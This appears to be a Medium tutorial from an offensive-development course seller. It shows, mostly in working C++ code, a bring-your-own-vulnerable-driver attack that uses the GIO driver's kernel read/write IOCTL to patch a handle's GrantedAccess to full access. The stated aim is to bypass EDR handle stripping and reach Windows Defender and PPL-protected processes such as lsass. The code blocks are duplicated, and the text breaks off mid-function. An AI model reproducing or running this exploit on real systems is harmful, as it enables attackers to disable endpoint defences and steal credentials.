June 23, 2026
Handle Permission Elevation via BYOVD
Welcome to this new Medium post, today we continue with the BYOVD list of posts, in this one we will learn how to elevate the permissions…

By S12 - 0x12Dark Development
20 min read
Welcome to this new Medium post, today we continue with the BYOVD list of posts, in this one we will learn how to elevate the permissions of a process handle by directly patching the GrantedAccess field inside the kernel handle table, using a kernel read/write primitive obtained via a vulnerable driver
This technique allows us to bypass handle stripping implemented by EDRs through ObRegisterCallbacks, and gain full access to protected processes like lsass.exe, even when PPL (Protected Process Light) is active, without ever calling OpenProcess with suspicious access masks
Windows Handle Tables
When a process opens a handle to another process via OpenProcess, the kernel follows this path:
- Access check:
ObpCreateHandleevaluates the requested access mask against the target object's security descriptor viaSeAccessCheck - EDR callback: Registered
OB_OPERATION_HANDLE_CREATEcallbacks fire. EDRs use this (ObRegisterCallbacks) to strip dangerous flags likePROCESS_VM_READfrom the mask - Entry stored: The final, stripped access mask is written as
GrantedAccessinto a_HANDLE_TABLE_ENTRYstructure inside the calling process's handle table (EPROCESS.ObjectTable)
From this point, every subsequent operation that uses this handle: NtReadVirtualMemory, NtWriteVirtualMemory, …, calls ObReferenceObjectByHandle, which reads GrantedAccess directly from the table entry and compares it against the required access. The kernel trusts this value completely. It does not re-run the security check, and does not re-invoke EDR callbacks
This is the fundamental property we exploit
Courses: Learn how offensive development works on Windows OS from beginner to advanced taking our courses, all explained in C++.
All Courses Learn how real Windows offensive development works
Technique Database: Access 70+ real offensive techniques with weekly updates, complete with code, PoCs, and AV scan results:
Malware Techniques Database Explore an ever-growing collection of techniques
Modules: Dive deep into essential offensive topics with our modular text-training program! Get a new module every 14 days. Start at just $1.99 per module, or unlock lifetime access to all modules for $100.
0x12 Dark Development Learn the best offensive techniques for Windows OS, with content ranging from beginner to advanced levels. All…
The Attack
Since we have a kernel R/W primitive via BYOVD, we can:
Open a handle to the target process with a no suspicious access mask, it passes the EDR callback filter. In this case:
// 6. Open MsMpEng.exe (Windows Defender) process with lowest permissions
DWORD windefPID = getPIDbyProcName("MsMpEng.exe");
HANDLE hWD = OpenProcess(SYNCHRONIZE, FALSE, windefPID); // 6. Open MsMpEng.exe (Windows Defender) process with lowest permissions
DWORD windefPID = getPIDbyProcName("MsMpEng.exe");
HANDLE hWD = OpenProcess(SYNCHRONIZE, FALSE, windefPID);Then: walk the kernel handle table to locate the _HANDLE_TABLE_ENTRY for that handle
And finally: Overwrite GrantedAccess with PROCESS_ALL_ACCESS (0x1FFFFF)
The handle now behaves as if it was opened with full access from the beginning, with no callback ever having seen the upgrade
Methodology
Here is where we explain the logic without looking at the full code yet.
To elevate the GrantedAccess of a handle to a protected process, bypassing EDR handle stripping via ObRegisterCallbacks, we need to follow these logical steps:
- Resolve Offsets Dynamically: First, we need to know where fields like
ObjectTable,UniqueProcessId, andActiveProcessLinkslive inside_EPROCESS, and the RVA ofPsInitialSystemProcessinside ntoskrnl. Instead of hardcoding these values (which change across Windows builds), we download the official ntoskrnl PDB from the Microsoft Symbol Server and use DbgHelp to resolve them at runtime. This makes the technique version-independent
We already have a post looking at this:
Kernel Dynamic Offset Resolution using PDB Symbols Welcome to this new Medium post. Today, I'll show you an interesting approach to resolving kernel offsets dynamically…
- Get the ntoskrnl Base Address: Once we have the field offsets, we need the actual runtime base address of ntoskrnl in the kernel. We use
NtQuerySystemInformationwith class 11 (SystemModuleInformation) to enumerate all loaded kernel modules. The first entry in the list is always ntoskrnl - Open the Vulnerable Driver: We open a handle to the GIO driver (
\\.\GIO) which gives us our kernel read/write primitive via IOCTL0xC3502808. Every kernel memory operation from this point uses this primitive - Walk EPROCESS to Find Ourselves: We compute the kernel address of
PsInitialSystemProcess(ntoskrnl base + resolved RVA) and dereference it to get the System process_EPROCESS. Then we walk theActiveProcessLinksdoubly-linked list comparingUniqueProcessIdat each node until we find our own process. We need our own EPROCESS because the handle table we want to modify is ours. - Open the Target with Minimal Access: We call
OpenProcessagainst MsMpEng.exe (Windows Defender) with onlySYNCHRONIZE(the weakest possible access flag). The EDR'sOB_OPERATION_HANDLE_CREATEcallback sees a non-dangerous request and allows the handle through, possibly stripping nothing because there is nothing worth stripping - Navigate the Handle Table to Find Our Entry: Using our EPROCESS, we read
ObjectTableto get the_HANDLE_TABLEpointer. From there, we readTableCode, extract the table level (lowest 2 bits) and the base pointer (remaining bits). With the base and the handle value, we calculate the exact address of our_HANDLE_TABLE_ENTRY. Each entry is 16 bytes, so the formula istableBase + (handleValue / 4) * 16 - Patch GrantedAccess: The second QWORD of the entry (
+0x8) containsGrantedAccessin its lower 32 bits, withAttributes,ObjectTypeIndex, andSparepacked in the upper 32 bits. We read the full QWORD, replace the lower 25 bits withPROCESS_ALL_ACCESS, and write it back. The handle now has full access with no callback ever having approved the upgrade
Implementation
Now, let's look at how to translate that logic into C++ code. I have broken down the most important parts.
Kernel R/W Primitives (DrvOps.h)
This is the foundation of everything. The GIO driver exposes a single IOCTL (0xC3502808) that accepts a struct with a destination pointer, a source pointer, and a size. The kernel driver performs the copy in ring-0, giving us arbitrary read and write across all of kernel memory.
ReadPrimitive uses the IOCTL output buffer to receive data, the driver writes from the kernel source address into the user-space dst. WritePrimitive places the data in the input buffer and the driver copies it to the kernel destination
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp = { dst, src, size };
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
return DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE,
&kwp, sizeof(kwp),
bufferReturned, sizeof(bufferReturned),
&returned, nullptr);
}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp = { dst, src, size };
DWORD returned = 0;
return DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE,
&krp, sizeof(krp),
dst, size,
&returned, nullptr);
}
HANDLE openVulnDriver() {
HANDLE driver = CreateFileA("\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
0, nullptr, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE) {
cout << "[-] Failed to open GIO driver: " << GetLastError() << endl;
return NULL;
}
return driver;
}#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp = { dst, src, size };
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
return DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE,
&kwp, sizeof(kwp),
bufferReturned, sizeof(bufferReturned),
&returned, nullptr);
}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp = { dst, src, size };
DWORD returned = 0;
return DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE,
&krp, sizeof(krp),
dst, size,
&returned, nullptr);
}
HANDLE openVulnDriver() {
HANDLE driver = CreateFileA("\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
0, nullptr, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE) {
cout << "[-] Failed to open GIO driver: " << GetLastError() << endl;
return NULL;
}
return driver;
}Dynamic Offset Resolution via PDB (GetOffsets.h)
Hardcoded offsets break on every Windows update. Instead, we resolve all field offsets at runtime using the official ntoskrnl PDB.
The process has three stages:
Extract PDB identity from the PE. We open %SystemRoot%\System32\ntoskrnl.exe, parse its debug directory, and extract the CodeView RSDS entry. This gives us the PDB GUID, age, and filename, the three values that uniquely identify the matching PDB on the Microsoft Symbol Server
static bool GetPdbInfoFromPE(const char* exePath, PdbCodeViewInfo& out) {
// Open the file and map it into a buffer
// Parse IMAGE_DOS_HEADER → IMAGE_NT_HEADERS → DataDirectory[DEBUG]
// Find the IMAGE_DEBUG_DIRECTORY entry with Type == IMAGE_DEBUG_TYPE_CODEVIEW
// Cast to CV_INFO_PDB70 and extract Guid, Age, PdbFileName
...
auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if (cv->CvSignature != 0x53445352) continue; // 'RSDS'
out.Guid = cv->Signature;
out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
return true;
}
// https://medium.com/@s12deff/kernel-dynamic-offset-resolution-using-pdb-symbols-b0aaa499ac25static bool GetPdbInfoFromPE(const char* exePath, PdbCodeViewInfo& out) {
// Open the file and map it into a buffer
// Parse IMAGE_DOS_HEADER → IMAGE_NT_HEADERS → DataDirectory[DEBUG]
// Find the IMAGE_DEBUG_DIRECTORY entry with Type == IMAGE_DEBUG_TYPE_CODEVIEW
// Cast to CV_INFO_PDB70 and extract Guid, Age, PdbFileName
...
auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if (cv->CvSignature != 0x53445352) continue; // 'RSDS'
out.Guid = cv->Signature;
out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
return true;
}
// https://medium.com/@s12deff/kernel-dynamic-offset-resolution-using-pdb-symbols-b0aaa499ac25Download or validate the cached PDB. We check %TEMP%\ntkrnlmp.pdb (or whatever the PDB filename is). If it exists, we parse its MSF (Multi-Stream Format) stream 1 header to read the stored GUID and compare it against the one from the PE. If they match, we skip the download. Otherwise, we fetch it from msdl.microsoft.com using WinHTTP
// Build the symbol server URI:
// /download/symbols/<pdbname>/<GUID+Age>/<pdbname>
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, const wchar_t* pdbName) {
wchar_t guid[48];
swprintf_s(guid, L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
g.Data1, g.Data2, g.Data3,
g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7], age);
std::wstring uri = L"/download/symbols/";
uri += pdbName; uri += L"/";
uri += guid; uri += L"/";
uri += pdbName;
return uri;
}// Build the symbol server URI:
// /download/symbols/<pdbname>/<GUID+Age>/<pdbname>
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, const wchar_t* pdbName) {
wchar_t guid[48];
swprintf_s(guid, L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
g.Data1, g.Data2, g.Data3,
g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7], age);
std::wstring uri = L"/download/symbols/";
uri += pdbName; uri += L"/";
uri += guid; uri += L"/";
uri += pdbName;
return uri;
}Resolve offsets with DbgHelp. We initialize DbgHelp with a fake process handle (to avoid colliding with any real process), load the PDB against a fake base address, and use SymEnumTypesByName + SymGetTypeInfo to walk struct children and read their TI_GET_OFFSET. For PsInitialSystemProcess, we use SymEnumSymbols to get its RVA
// Resolve a struct field offset
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
const char* structName, const char* fieldName) {
// 1. Find the struct type index via SymEnumTypesByName
// 2. Get child count with TI_GET_CHILDRENCOUNT
// 3. Enumerate children with TI_FINDCHILDREN
// 4. For each child, compare TI_GET_SYMNAME against fieldName
// 5. Return TI_GET_OFFSET of the matching child
...
}
// Resolve a global symbol RVA
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, const char* symName) {
SymFindCtx ctx{ symName, 0, false };
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
return ctx.address - modBase; // RVA from the fake base
}// Resolve a struct field offset
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
const char* structName, const char* fieldName) {
// 1. Find the struct type index via SymEnumTypesByName
// 2. Get child count with TI_GET_CHILDRENCOUNT
// 3. Enumerate children with TI_FINDCHILDREN
// 4. For each child, compare TI_GET_SYMNAME against fieldName
// 5. Return TI_GET_OFFSET of the matching child
...
}
// Resolve a global symbol RVA
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, const char* symName) {
SymFindCtx ctx{ symName, 0, false };
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
return ctx.address - modBase; // RVA from the fake base
}The main entry point ties everything together:
static bool ResolveKernelOffsets(KernelOffsets& out) {
char ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
PdbCodeViewInfo pdbInfo{};
GetPdbInfoFromPE(ntosPath, pdbInfo); // Extract PDB identity
// ... download if needed ...
HANDLE hSym = (HANDLE)(ULONG_PTR)0xDEAD1234; // fake handle
SymInitialize(hSym, nullptr, FALSE);
SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr, kFakeBase, 0, nullptr, 0);
out.ObjectTable = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ObjectTable");
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);
return true;
}static bool ResolveKernelOffsets(KernelOffsets& out) {
char ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
PdbCodeViewInfo pdbInfo{};
GetPdbInfoFromPE(ntosPath, pdbInfo); // Extract PDB identity
// ... download if needed ...
HANDLE hSym = (HANDLE)(ULONG_PTR)0xDEAD1234; // fake handle
SymInitialize(hSym, nullptr, FALSE);
SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr, kFakeBase, 0, nullptr, 0);
out.ObjectTable = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ObjectTable");
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);
return true;
}After this call, g_offsets contains correct, build-specific values for every field we need. No hardcoding required
Get ntoskrnl Base Address
We enumerate loaded kernel modules with NtQuerySystemInformation class 11. Module index 0 is always ntoskrnl. We search by name to be safe, accepting both ntoskrnl.exe and any ntkrnl* variant (there are several: ntkrnlpa, ntkrnlmp, etc.)
DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
for (const auto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
nameLower.find("ntkrnl") != std::string::npos)
return (DWORD64)drv.BaseAddress;
}
return 0;
}DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
for (const auto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
nameLower.find("ntkrnl") != std::string::npos)
return (DWORD64)drv.BaseAddress;
}
return 0;
}Combined with the resolved PsInitialSystemProcess RVA:
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
// PsInitialSystemProcess kernel address:
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
// PsInitialSystemProcess kernel address:
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;Walk EPROCESS to Find Our Process
We dereference PsInitialSystemProcess via ReadPrimitive to get the System process _EPROCESS, then walk ActiveProcessLinks until UniqueProcessId matches our PID
The walk uses the standard doubly-linked list pattern: each FLINK points to the ActiveProcessLinks field of the next _EPROCESS, not to the _EPROCESS base itself. So we subtract the ActiveProcessLinks offset to recover the base of each node
DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid) {
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;
// Dereference PsInitialSystemProcess → System _EPROCESS
DWORD64 systemEPROCESS = 0;
ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
// Check if target is already System (PID 4)
DWORD systemPid = 0;
ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
if (systemPid == pid) return systemEPROCESS;
// Walk the list: headList points to the ActiveProcessLinks of System
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
DWORD64 currentFlink = 0;
ReadPrimitive(drv, ¤tFlink, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
DWORD64 current = currentFlink;
int counter = 0;
while (current != headList && counter < 5000) {
counter++;
// FLINK → subtract offset to get EPROCESS base
DWORD64 eprocess = current - g_offsets.ActiveProcessLinks;
DWORD currentPid = 0;
ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
if (currentPid == pid) return eprocess;
// Advance: read FLINK of current node
ReadPrimitive(drv, ¤t, (LPVOID)(uintptr_t)current, sizeof(DWORD64));
}
return 0;
}DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid) {
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;
// Dereference PsInitialSystemProcess → System _EPROCESS
DWORD64 systemEPROCESS = 0;
ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
// Check if target is already System (PID 4)
DWORD systemPid = 0;
ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
if (systemPid == pid) return systemEPROCESS;
// Walk the list: headList points to the ActiveProcessLinks of System
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
DWORD64 currentFlink = 0;
ReadPrimitive(drv, ¤tFlink, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
DWORD64 current = currentFlink;
int counter = 0;
while (current != headList && counter < 5000) {
counter++;
// FLINK → subtract offset to get EPROCESS base
DWORD64 eprocess = current - g_offsets.ActiveProcessLinks;
DWORD currentPid = 0;
ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
if (currentPid == pid) return eprocess;
// Advance: read FLINK of current node
ReadPrimitive(drv, ¤t, (LPVOID)(uintptr_t)current, sizeof(DWORD64));
}
return 0;
}Navigate the Handle Table
With our EPROCESS in hand, we follow three kernel reads to reach the _HANDLE_TABLE_ENTRY:
EPROCESS + ObjectTable offset → _HANDLE_TABLE pointer
_HANDLE_TABLE + 0x8 → TableCode (base | level)
tableBase + (handle/4) * 16 → _HANDLE_TABLE_ENTRY
// Read the _HANDLE_TABLE pointer from EPROCESS.ObjectTable
DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;
DWORD64 handleTablePtr = 0;
ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));
// Read TableCode from _HANDLE_TABLE + 0x8
DWORD64 tableCode = 0;
ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));
// Extract level and base pointer
DWORD64 level = tableCode & 0x3;
DWORD64 tableBase = tableCode & ~0x3ULL;
// For level 0 (single-level table, most processes):
// Each _HANDLE_TABLE_ENTRY is 16 bytes.
// Handle values are multiples of 4, so entry index = handleValue / 4.
DWORD64 handleValue = (DWORD64)hWeak;
DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;EPROCESS + ObjectTable offset → _HANDLE_TABLE pointer
_HANDLE_TABLE + 0x8 → TableCode (base | level)
tableBase + (handle/4) * 16 → _HANDLE_TABLE_ENTRY
// Read the _HANDLE_TABLE pointer from EPROCESS.ObjectTable
DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;
DWORD64 handleTablePtr = 0;
ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));
// Read TableCode from _HANDLE_TABLE + 0x8
DWORD64 tableCode = 0;
ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));
// Extract level and base pointer
DWORD64 level = tableCode & 0x3;
DWORD64 tableBase = tableCode & ~0x3ULL;
// For level 0 (single-level table, most processes):
// Each _HANDLE_TABLE_ENTRY is 16 bytes.
// Handle values are multiples of 4, so entry index = handleValue / 4.
DWORD64 handleValue = (DWORD64)hWeak;
DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;We only implement level 0 here. Most processes will never exceed 256 handles, so single-level is the common case. Level 1 requires an extra indirection through a pointer array, each sub-table page holds 256 entries
Open Target with Minimal Access and Patch GrantedAccess
We open MsMpEng.exe with SYNCHRONIZE only. This is the weakest access right for a process object, it allows waiting on the handle and nothing else. Any EDR callback that strips dangerous access masks has nothing to strip here
DWORD windefPID = getPIDbyProcName("MsMpEng.exe");
HANDLE hWD = OpenProcess(SYNCHRONIZE, FALSE, windefPID);DWORD windefPID = getPIDbyProcName("MsMpEng.exe");
HANDLE hWD = OpenProcess(SYNCHRONIZE, FALSE, windefPID);Now we read the second QWORD of the entry (+0x8) which contains GrantedAccess in its lower 25 bits:
DWORD64 highQword = 0;
ReadPrimitive(drv, &highQword, (LPVOID)(uintptr_t)(entryAddress + 8), sizeof(DWORD64));
DWORD currentAccess = highQword & 0x1FFFFFF;
cout << "Current GrantedAccess: " << hex << currentAccess << endl;DWORD64 highQword = 0;
ReadPrimitive(drv, &highQword, (LPVOID)(uintptr_t)(entryAddress + 8), sizeof(DWORD64));
DWORD currentAccess = highQword & 0x1FFFFFF;
cout << "Current GrantedAccess: " << hex << currentAccess << endl;We patch: keep the upper bits intact (they carry Attributes, ObjectTypeIndex, Spare), and replace the lower 25 bits with PROCESS_ALL_ACCESS:
DWORD64 mask = 0x1FFFFFFULL;
DWORD64 newHighQword = (highQword & ~mask) | (PROCESS_ALL_ACCESS & mask);
WritePrimitive(drv, (LPVOID)(uintptr_t)(entryAddress + 8), &newHighQword, sizeof(DWORD64));
// Verify
DWORD64 verify = 0;
ReadPrimitive(drv, &verify, (LPVOID)(uintptr_t)(entryAddress + 8), sizeof(DWORD64));
cout << "GrantedAccess after patch: " << hex << (verify & mask) << endl;DWORD64 mask = 0x1FFFFFFULL;
DWORD64 newHighQword = (highQword & ~mask) | (PROCESS_ALL_ACCESS & mask);
WritePrimitive(drv, (LPVOID)(uintptr_t)(entryAddress + 8), &newHighQword, sizeof(DWORD64));
// Verify
DWORD64 verify = 0;
ReadPrimitive(drv, &verify, (LPVOID)(uintptr_t)(entryAddress + 8), sizeof(DWORD64));
cout << "GrantedAccess after patch: " << hex << (verify & mask) << endl;hWD now carries PROCESS_ALL_ACCESS inside the kernel handle table. No callback fired to approve this. The next time any syscall resolves this handle via ObReferenceObjectByHandle, it reads the patched field and grants the operation
Full Codes
main.cpp
#include <Windows.h>
#include <winternl.h>
#include <vector>
#include <string>
#include <algorithm>
#include <iostream>
#include <TlHelp32.h>
#include "GetOffsets.h"
#include "DrvOps.h"
using namespace std;
struct offsets {
ULONG64 ActiveProcessLinks;
ULONG64 UniqueProcessId;
ULONG64 ObjectTable;
ULONG64 PsInitialSystemProcess;
} g_offsets = {
};
typedef struct _SYSTEM_MODULE_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
struct KernelDriver {
std::string Name;
uintptr_t BaseAddress;
uint32_t Size;
};
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
if (drivers.empty()) {
return 0;
}
for (const auto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
nameLower.find("ntkrnl") != std::string::npos) {
return (DWORD64)drv.BaseAddress;
}
}
return 0;
}
std::vector<KernelDriver> GetSortedKernelDrivers() {
std::vector<KernelDriver> driverList;
auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation) return driverList;
ULONG len = 0;
const int SystemModuleInformation = 11;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
buffer.data(),
len,
&len
);
if (status != 0) return driverList; // STATUS_SUCCESS = 0
auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
for (ULONG i = 0; i < mods->Count; i++) {
SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
KernelDriver drv;
drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
drv.Size = entry.ImageSize;
const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
drv.Name = std::string(nameStart);
driverList.push_back(drv);
}
std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
return a.BaseAddress < b.BaseAddress;
});
return driverList;
}
DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
if (ntoskrnlBase == 0)
{
std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;
return 0;
}
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess; // Get EPROCESS of the System process (PID 4)
cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;
getchar();
// Open Driver
getchar();
// Read Primitive to get EPROCESS structure from System Process
DWORD64 systemEPROCESS = 0;
BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
cout << "System EPROCESS: " << systemEPROCESS << endl;
// Make sure that the EPROCESS is not from the PID 4 (System)
DWORD systemPid = 0;
BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
cout << "System PID: " << systemPid << endl;
if (systemPid == pid) {
return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it
}
// Walk through the whole list
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
cout << "headList address :" << headList << endl;
// Get first process
DWORD64 firstProcess = 0;
BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
if (!readFirstResult) {
cout << "Failed getting first process" << endl;
}
cout << "First Flink: " << firstProcess << endl;
DWORD64 currentProcess = firstProcess;
int counter = 0;
getchar();
cout << "Starting while " << endl;
while (currentProcess != headList && counter < 5000) {
counter++;
DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
cout << "Checking EPROCESS " << eprocess << endl;
// Read PID
DWORD currentPid = 0;
BOOL readPIDResult = ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
if (!readPIDResult) {
cout << "Error getting current PID " << endl;
}
cout << "Current PID " << currentPid << endl;
if (currentPid == pid) {
cout << "Correct EPROCESS Found " << endl;
return eprocess;
}
// Read next one
DWORD64 nextProcess = 0;
BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
if (!readNextResult) {
cout << "Error getting next result " << endl;
}
currentProcess = nextProcess;
}
cout << "PID Not found after checking all processes " << endl;
return 0;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
BOOL EnableSeDebugPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
